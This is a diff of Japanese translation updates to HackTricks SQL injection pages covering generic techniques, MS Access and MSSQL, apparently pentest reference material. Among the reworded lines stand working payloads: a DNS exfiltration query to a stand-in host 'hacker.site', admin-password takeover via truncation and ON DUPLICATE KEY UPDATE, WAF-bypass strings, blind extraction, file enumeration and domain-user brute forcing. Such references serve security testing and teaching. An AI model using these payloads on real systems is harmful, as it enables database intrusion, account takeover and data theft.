@ -224,13 +224,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
|||||||
```
|
```
|
||||||
## スタッククエリ
|
## スタッククエリ
|
||||||
|
|
||||||
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されません**。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2つ目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
|
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、またはタイムディレイをトリガーできます。
|
||||||
|
|
||||||
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
|
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
|
||||||
|
|
||||||
## アウトオブバンドエクスプロイト
|
## アウトオブバンドエクスプロイト
|
||||||
|
|
||||||
**他の**エクスプロイト方法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ように試みることができます。たとえば、DNSクエリを介して:
|
**他の**エクスプロイト方法が**機能しなかった**場合、**データベースが**情報をあなたが制御する**外部ホスト**に流出させるように試みることができます。たとえば、DNSクエリを介して:
|
||||||
```sql
|
```sql
|
||||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||||
```
|
```
|
||||||
@ -307,17 +307,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||||||
|
|
||||||
### 既存のオブジェクト/ユーザーのパスワードを変更する
|
### 既存のオブジェクト/ユーザーのパスワードを変更する
|
||||||
|
|
||||||
そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**ことを試みるべきです(おそらく**admin**の場合)。
|
そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)何かを変更する必要があります:
|
||||||
|
|
||||||
- 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する
|
- 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する
|
||||||
- 名前を**admin=**としてユーザーを作成する
|
- 名前を**admin=**としてユーザーを作成する
|
||||||
- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
|
- **SQLトランケーション攻撃**(ユーザー名またはメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
|
||||||
|
|
||||||
#### SQLトランケーション攻撃
|
#### SQLトランケーション攻撃
|
||||||
|
|
||||||
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。
|
データベースが脆弱で、ユーザー名の最大文字数が例えば30で、ユーザー**admin**を偽装したい場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。
|
||||||
|
|
||||||
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_")に**切り捨て**、その後、**データベース内のユーザー「admin」を新しいパスワードで更新する際に、末尾のすべてのスペースを自動的に削除します**(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
|
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**データベース内のユーザー「admin」を新しいパスワードで更新する際に、末尾のすべてのスペースを自動的に削除します**(エラーが表示される可能性がありますが、これは機能しなかったことを意味しません)。
|
||||||
|
|
||||||
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||||
|
|
||||||
@ -331,11 +331,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
|||||||
```
|
```
|
||||||
### ON DUPLICATE KEY UPDATE
|
### ON DUPLICATE KEY UPDATE
|
||||||
|
|
||||||
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが実行するアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために使用されるかを示しています。
|
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。
|
||||||
|
|
||||||
Example Payload Injection:
|
Example Payload Injection:
|
||||||
|
|
||||||
注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとします。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります:
|
注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります:
|
||||||
```sql
|
```sql
|
||||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||||
```
|
```
|
||||||
@ -343,7 +343,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
|
|||||||
|
|
||||||
- クエリは2つの行を挿入しようとします:1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。
|
- クエリは2つの行を挿入しようとします:1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。
|
||||||
- `admin_generic@example.com` の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQLに既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
|
- `admin_generic@example.com` の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQLに既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
|
||||||
- その結果、`admin_generic@example.com` を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際の希望するパスワードのハッシュに置き換える必要があります)。
|
- その結果、`admin_generic@example.com` を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。
|
||||||
|
|
||||||
### 情報を抽出する
|
### 情報を抽出する
|
||||||
|
|
||||||
@ -364,7 +364,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
|||||||
```sql
|
```sql
|
||||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||||
```
|
```
|
||||||
テキストを取得するには、次のようにします:
|
テキストを取得するには、次のようにします:
|
||||||
```python
|
```python
|
||||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||||
```
|
```
|
||||||
@ -377,9 +377,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||||||
#Full ascii uppercase and lowercase replace:
|
#Full ascii uppercase and lowercase replace:
|
||||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||||
```
|
```
|
||||||
## ルーティッドSQLインジェクション
|
## ルーティングされたSQLインジェクション
|
||||||
|
|
||||||
ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
ルーティングされたSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||||
|
|
||||||
例:
|
例:
|
||||||
```
|
```
|
||||||
@ -401,7 +401,7 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス
|
|||||||
?id=1%0Aand%0A1=1%0A--
|
?id=1%0Aand%0A1=1%0A--
|
||||||
?id=1%A0and%A01=1%A0--
|
?id=1%A0and%A01=1%A0--
|
||||||
```
|
```
|
||||||
ホワイトスペースなし - コメントを使用してバイパスする
|
ホワイトスペースなし - コメントを使用してバイパス
|
||||||
```sql
|
```sql
|
||||||
?id=1/*comment*/and/**/1=1/**/--
|
?id=1/*comment*/and/**/1=1/**/--
|
||||||
```
|
```
|
||||||
@ -411,7 +411,7 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス
|
|||||||
```
|
```
|
||||||
### No commas bypass
|
### No commas bypass
|
||||||
|
|
||||||
No Comma - OFFSET、FROM、およびJOINを使用したバイパス
|
No Comma - OFFSET、FROM、JOINを使用したバイパス
|
||||||
```
|
```
|
||||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||||
@ -425,7 +425,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
|||||||
?id=1 AnD 1=1#
|
?id=1 AnD 1=1#
|
||||||
?id=1 aNd 1=1#
|
?id=1 aNd 1=1#
|
||||||
```
|
```
|
||||||
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパスする
|
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパス
|
||||||
```
|
```
|
||||||
AND -> && -> %26%26
|
AND -> && -> %26%26
|
||||||
OR -> || -> %7C%7C
|
OR -> || -> %7C%7C
|
||||||
@ -444,21 +444,21 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||||||
```
|
```
|
||||||
### カラム名制限のバイパス
|
### カラム名制限のバイパス
|
||||||
|
|
||||||
まず第一に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
|
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
|
||||||
|
|
||||||
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能です**。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`。したがって、sqlinjectionでは次のようになります:
|
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
|
||||||
```bash
|
```bash
|
||||||
# This is an example with 3 columns that will extract the column number 3
|
# This is an example with 3 columns that will extract the column number 3
|
||||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||||
```
|
```
|
||||||
または **カンマバイパス** を使用します:
|
または**カンマバイパス**を使用します:
|
||||||
```bash
|
```bash
|
||||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||||
```
|
```
|
||||||
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
|
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
|
||||||
|
|
||||||
### WAFバイパス提案ツール
|
### WAFバイパスサジェスターツール
|
||||||
|
|
||||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||||
|
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## オンラインプレイグラウンド
|
## Online Playground
|
||||||
|
|
||||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||||
|
|
||||||
## DBの制限
|
## DB Limitations
|
||||||
|
|
||||||
### 文字列の連結
|
### String Concatenation
|
||||||
|
|
||||||
文字列の連結は `& (%26)` と `+ (%2b)` 文字を使用して可能です。
|
文字列の連結は `& (%26)` と `+ (%2b)` 文字を使用して可能です。
|
||||||
```sql
|
```sql
|
||||||
@ -17,7 +17,7 @@
|
|||||||
```
|
```
|
||||||
### コメント
|
### コメント
|
||||||
|
|
||||||
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することが可能なようです:
|
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです。
|
||||||
```sql
|
```sql
|
||||||
1' union select 1,2 from table%00
|
1' union select 1,2 from table%00
|
||||||
```
|
```
|
||||||
@ -31,7 +31,7 @@ MS Accessにはコメントがありませんが、NULL文字を使用してク
|
|||||||
|
|
||||||
### LIMIT
|
### LIMIT
|
||||||
|
|
||||||
**`LIMIT`** 演算子は **実装されていません**。ただし、**`TOP` 演算子**を使用してSELECTクエリの結果を**最初のNテーブル行に制限する**ことが可能です。`TOP`は、返される行数を表す整数を引数として受け取ります。
|
**`LIMIT`** 演算子は **実装されていません**。ただし、**`TOP` 演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能です**。`TOP` は、返される行数を表す整数を引数として受け取ります。
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT TOP 3 attr FROM table%00
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||||||
```
|
```
|
||||||
@ -39,8 +39,8 @@ Just like TOP you can use **`LAST`** which will get the **rows from the end**.
|
|||||||
|
|
||||||
## UNION Queries/Sub queries
|
## UNION Queries/Sub queries
|
||||||
|
|
||||||
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
|
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、**サブクエリや追加のクエリでは`FROM`を指定する必要があります**。\
|
||||||
だから、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を示す必要があります**。\
|
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
|
||||||
したがって、**有効なテーブル名**を知っておく必要があります。
|
したがって、**有効なテーブル名**を知っておく必要があります。
|
||||||
```sql
|
```sql
|
||||||
-1' UNION SELECT username,password from users%00
|
-1' UNION SELECT username,password from users%00
|
||||||
@ -52,7 +52,7 @@ In a SQLi you usually will want to somehow execute a new query to extract inform
|
|||||||
|
|
||||||
**MS Access** は **`'1'=2='3'='asd'=false`** のような **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用できます。
|
**MS Access** は **`'1'=2='3'='asd'=false`** のような **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用できます。
|
||||||
|
|
||||||
MS Access データベースに SQLi があり、1つの **カラム名が username** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
|
MS Access データベースに SQLi があり、1 つの **カラム名が username** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
|
||||||
```sql
|
```sql
|
||||||
'=(Mid(username,1,3)='adm')='
|
'=(Mid(username,1,3)='adm')='
|
||||||
```
|
```
|
||||||
@ -60,11 +60,11 @@ MS Access データベースに SQLi があり、1つの **カラム名が usern
|
|||||||
```sql
|
```sql
|
||||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||||
```
|
```
|
||||||
オンラインプレイグラウンドでこれを確認してください。
|
_Feel free to check this in the online playground._
|
||||||
|
|
||||||
### テーブル名のブルートフォース
|
### テーブル名のブルートフォース
|
||||||
|
|
||||||
チェイニングイコール技術を使用すると、次のように**テーブル名をブルートフォース**することもできます:
|
チェイニングイコール技術を使用すると、次のように**テーブル名をブルートフォース**することもできます:
|
||||||
```sql
|
```sql
|
||||||
'=(select+top+1+'lala'+from+<table_name>)='
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||||||
```
|
```
|
||||||
@ -77,9 +77,9 @@ MS Access データベースに SQLi があり、1つの **カラム名が usern
|
|||||||
- Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
- Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) に別のリストがあります。
|
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) に別のリストがあります。
|
||||||
|
|
||||||
### カラム名のブルートフォース
|
### 列名のブルートフォース
|
||||||
|
|
||||||
**現在のカラム名をブルートフォース**するには、次のようにチェイニングイコールのトリックを使用できます:
|
**現在の列名をブルートフォース**するには、次のように等号トリックをチェーンさせて使用できます:
|
||||||
```sql
|
```sql
|
||||||
'=column_name='
|
'=column_name='
|
||||||
```
|
```
|
||||||
@ -95,11 +95,11 @@ MS Access データベースに SQLi があり、1つの **カラム名が usern
|
|||||||
```
|
```
|
||||||
### データのダンプ
|
### データのダンプ
|
||||||
|
|
||||||
私たちはすでに[**チェイニングイコール技術**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルや他のテーブルからデータをダンプする方法**について議論しました。しかし、他にも方法があります:
|
私たちはすでに[**チェイニングイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルや他のテーブルからデータをダンプする方法**について議論しました。しかし、他にも方法があります:
|
||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
|
要約すると、クエリは成功した場合に「200 OK」をトリガーし、そうでない場合には「500 Internal Error」をトリガーするために「if-then」ステートメントを使用します。TOP 10 演算子を利用することで、最初の10件の結果を選択することが可能です。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
|
||||||
|
|
||||||
### 時間ベース
|
### 時間ベース
|
||||||
|
|
||||||
@ -126,7 +126,7 @@ and MSysObjects.name not like '~*'
|
|||||||
and MSysObjects.name not like 'MSys*'
|
and MSysObjects.name not like 'MSys*'
|
||||||
order by MSysObjects.name
|
order by MSysObjects.name
|
||||||
```
|
```
|
||||||
しかし、`MSysObjects` テーブルを読むアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。
|
しかし、`MSysObjects` テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。
|
||||||
|
|
||||||
## ファイルシステムアクセス
|
## ファイルシステムアクセス
|
||||||
|
|
||||||
@ -136,7 +136,7 @@ order by MSysObjects.name
|
|||||||
|
|
||||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
MS Access は **ウェブディレクトリのフルパスを含むエラーメッセージ** で応答します。
|
MS Access は **ウェブディレクトリのフルパス名を含むエラーメッセージ** で応答します。
|
||||||
|
|
||||||
### ファイル列挙
|
### ファイル列挙
|
||||||
|
|
||||||
@ -144,7 +144,7 @@ MS Access は **ウェブディレクトリのフルパスを含むエラーメ
|
|||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||||
|
|
||||||
ファイルを列挙する別の方法は、**データベース.table アイテムを指定することです**。**指定されたファイルが存在する場合**、MS Access は **データベース形式エラーメッセージ** を表示します。
|
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Access は **データベース形式エラーメッセージ** を表示します。
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||||
|
|
||||||
|
@ -1,15 +1,15 @@
|
|||||||
# MSSQL Injection
|
# MSSQLインジェクション
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Active Directory enumeration
|
## Active Directory列挙
|
||||||
|
|
||||||
**SQLインジェクションを使用してMSSQLサーバー内のドメインユーザーを列挙することが可能です**。以下のMSSQL関数を使用します:
|
次のMSSQL関数を使用して、**MSSQLサーバー内でSQLインジェクションを介してドメインユーザーを列挙する**ことが可能です:
|
||||||
|
|
||||||
- **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
|
- **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
|
||||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数は**ユーザーAdministratorのSID**を16進数形式で返します。これは`0x01050000000[...]0000f401`のように見え、**最後の4バイト**が**ビッグエンディアン**形式で**500**という数値であることに注意してください。これは**ユーザーadministratorの一般的なID**です。\
|
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数は**ユーザーAdministratorのSID**を16進数形式で返します。これは`0x01050000000[...]0000f401`のように見えます。**最後の4バイト**が**ビッグエンディアン**形式で**500**という数値であり、これは**ユーザーadministratorの一般的なID**です。\
|
||||||
この関数を使用すると、**ドメインのIDを知ることができます**(最後の4バイトを除くすべてのバイト)。
|
この関数を使用すると、**ドメインのIDを知ることができます**(最後の4バイトを除くすべてのバイト)。
|
||||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)、この場合**0000e803**はビッグエンディアンで== **1000**(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのすべてのユーザー名を取得できると想像できます。例えば、次のような関数を使用して:
|
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)、この場合**0000e803**はビッグエンディアンで== **1000**(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのユーザーのすべてのユーザー名を取得できると想像できます。たとえば、次のような関数を使用して:
|
||||||
```python
|
```python
|
||||||
def get_sid(n):
|
def get_sid(n):
|
||||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||||
@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|||||||
```
|
```
|
||||||
## **代替エラーベースのベクター**
|
## **代替エラーベースのベクター**
|
||||||
|
|
||||||
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造や「OR」演算子に基づく変種に似ています。このような式を含むクエリは通常WAFによってブロックされます。バイパスとして、%2b文字を使用して特定の関数呼び出しの結果と文字列を連結し、求めるデータに対してデータ型変換エラーを引き起こします。
|
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します。
|
||||||
|
|
||||||
このような関数のいくつかの例:
|
このような関数のいくつかの例:
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
|||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
これらのSSRFトリックは[こちらから取得されました](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
これらのSSRFトリックは[ここから取得されました](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
|
|
||||||
### `fn_xe_file_target_read_file`
|
### `fn_xe_file_target_read_file`
|
||||||
|
|
||||||
@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
|||||||
```
|
```
|
||||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||||
|
|
||||||
